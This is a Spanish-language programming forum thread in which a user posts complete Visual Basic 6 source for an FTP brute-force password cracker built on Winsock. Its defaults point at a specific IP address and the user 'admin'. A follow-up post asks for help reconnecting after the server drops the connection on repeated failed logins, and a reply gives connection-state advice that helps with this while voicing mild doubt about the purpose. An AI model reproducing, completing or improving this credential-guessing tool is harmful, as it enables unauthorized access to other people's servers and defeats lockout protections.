Viernes 8 de Noviembre de 2024, 08:24
SoloCodigo
Bienvenido(a),
Visitante
. Por favor,
ingresa
o
regístrate
.
¿Perdiste tu
email de activación?
Inicio
Foros
Chat
Ayuda
Buscar
Ingresar
Registrarse
SoloCodigo
»
Foros
»
Programación General
»
Visual Basic 6.0 e inferiores
(Moderador:
F_Tanori
) »
CRACKER ME LO REVISAN?
« anterior
próximo »
Imprimir
Páginas: [
1
]
Autor
Tema: CRACKER ME LO REVISAN? (Leído 2313 veces)
79137913
Nuevo Miembro
Mensajes: 16
CRACKER ME LO REVISAN?
«
en:
Miércoles 28 de Julio de 2010, 16:42 »
0
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien
.
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.
Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET
el codigo del form es este:
Código: Visual Basic
Public
CT
As
Integer
Public
FAILED
As
String
Public
ACUSER
As
String
Public
USER
As
String
Public
CONTROL
As
Integer
Private
Sub
Form_Load()
CONTROL
= vbNo
Telnet.RemoteHost = InputBox(
"HOST"
,
"INSERTE"
,
"173.236.40.122"
)
Telnet.RemotePort = InputBox(
"PUERTO"
,
"INSERTE"
, 21)
FAILED = InputBox(
"CODIGO DE CONTRASEÑA INVALIDA"
,
"INSERTE"
, 530)
ACUSER = InputBox(
"CODIGO DE USUARIO ACEPTADO"
,
"INSERTE"
, 331)
USER = InputBox(
"USUARIO"
,
"INSERTE"
,
"admin"
)
Call
BORRAR_VECTOR
Telnet.Connect
End
Sub
Private
Sub
Form_Resize()
If
Me.Height > 701
Then
inx.Width = Me.Width
inx.Height = Me.Height - 700
outx.Width = Me.Width
outx.Top = inx.Height
End
If
End
Sub
Private
Sub
Form_Unload(Cancel
As
Integer
)
Telnet.
Close
End
End
Sub
Private
Sub
telnet_DataArrival(
ByVal
bytesTotal
As
Long
)
Dim
strData
As
String
Telnet.GetData strData
inx.Text = inx.Text & strData
If
CONTROL
= vbNo
Then
Call
ANALIZAR(Mid(strData, 1, 3))
End
If
If
CT
Mod
2
Then
Call
NUEVAPASS
outx.Text =
"pass "
& PASS
Call
outx_KeyPress(vbKeyReturn)
Else
outx.Text =
"user "
& USER
Call
outx_KeyPress(vbKeyReturn)
End
If
End
Sub
Private
Sub
outx_KeyPress(KeyAscii
As
Integer
)
If
KeyAscii = vbKeyReturn
Then
Telnet.SendData outx.Text & vbCrLf
outx.Text =
""
outx.SetFocus
End
If
End
Sub
Private
Sub
ANALIZAR(CODE
As
String
)
CT = CT + 1
If
Not
(CODE = ACUSER
Or
CT = 1
Or
CODE = FAILED)
Then
CONTROL
= MsgBox(
"CODIGO EXTRAÑO("
& CODE &
") CON PASSWORD ''"
& PASS &
"'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)"
, vbYesNo)
End
If
End
Sub
Y el codigo del modulo es:
Código: Visual Basic
Dim
PASSNUM(17)
As
Integer
Dim
PASSLET(17)
As
String
Public
PASS
As
String
Public
Sub
BORRAR_VECTOR()
PASSNUM(1) = 47
For
X = 2
To
16
PASSNUM(X) = 0
Next
X
End
Sub
Public
Sub
NUEVAPASS()
PASSNUM(1) = PASSNUM(1) + 1
Call
ORDENAR
Call
CONVERTIR
Call
CONCATENAR
End
Sub
Private
Sub
ORDENAR()
For
X = 1
To
16
If
PASSNUM(X) = 124
Then
If
PASSNUM(X + 1) = 0
Then
PASSNUM(X + 1) = 47
End
If
PASSNUM(X + 1) = PASSNUM(X + 1) + 1
End
If
Next
X
If
PASSNUM(17) = 1
Then
MsgBox
"TODAS LAS CLAVES PROBADAS"
, ,
"ERROR"
End
End
If
End
Sub
Private
Sub
CONVERTIR()
For
X = 1
To
16
If
PASSNUM(X) <> 0
Then
PASSLET(X) = Chr(PASSNUM(X))
End
If
Next
X
End
Sub
Private
Sub
CONCATENAR()
PASS =
""
For
X = 1
To
16
PASS = PASS & PASSLET(X)
Next
X
End
Sub
Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.
El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta
GRACIAS DE ANTEMANO
Tweet
79137913
Nuevo Miembro
Mensajes: 16
Re: CRACKER ME LO REVISAN?
«
Respuesta #1 en:
Lunes 2 de Agosto de 2010, 20:54 »
0
POR FAVOR, EL PROBLEMA ES QUE EL SERVIDOR SE DESCONECTA EN EL 4 INTENTO INVALIDO, PERO NO ME AVISA, SI AVISARIA, PODRIA HACER LA RECONECCION, PLZZ AYUDA, AUNQUE SEA EL MODERADOR QUE AYUDE.
Thanatos-chan
Miembro MUY activo
Mensajes: 136
Nacionalidad:
Re: CRACKER ME LO REVISAN?
«
Respuesta #2 en:
Miércoles 4 de Agosto de 2010, 16:26 »
0
que tal
en mi opinion:
1-el titulo no te ayuda, mas facil hubieras ido a un foro de "hackers", porque si hay alguien que supiera de este tema solo por el titulo, no te va a ayudar.
2-si es un trabajo de universidad, escuela, menudo trabajo ese...
, al parecer tu profesor se canso de poner trabajo de recorer la matriz y sumar...pero si es un proyecto personal tuyo...por el titulo y lo que se supone quieres hacer, no todo el mundo es de mente tan abierta para darte una mano.
ya sobre el tema.
te recomiendo, concentres en el objeto tenet, te caeria bien abrir otro tema y esta ves menos hacker...
.
esta pagina te describe el objeto,
http://msdn.microsoft.com/en-us/library/aa228119%28v=VS.60%29.aspx
chequeala.
encontraras la
propiedad
state junto con el listado de valores. asi podrias siempre chequear el estado de la conexión antes de usar la rutina.
igualmente. deberias crear una subrutina de conexion y no ponerla solo en el load_form.
Que es un genio???? yo superare a un genio con trabajo duro, y eso es todo.
79137913
Nuevo Miembro
Mensajes: 16
Re: CRACKER ME LO REVISAN?
«
Respuesta #3 en:
Miércoles 4 de Agosto de 2010, 16:35 »
0
GENIO GRACIAS!!!
Imprimir
Páginas: [
1
]
« anterior
próximo »
SoloCodigo
»
Foros
»
Programación General
»
Visual Basic 6.0 e inferiores
(Moderador:
F_Tanori
) »
CRACKER ME LO REVISAN?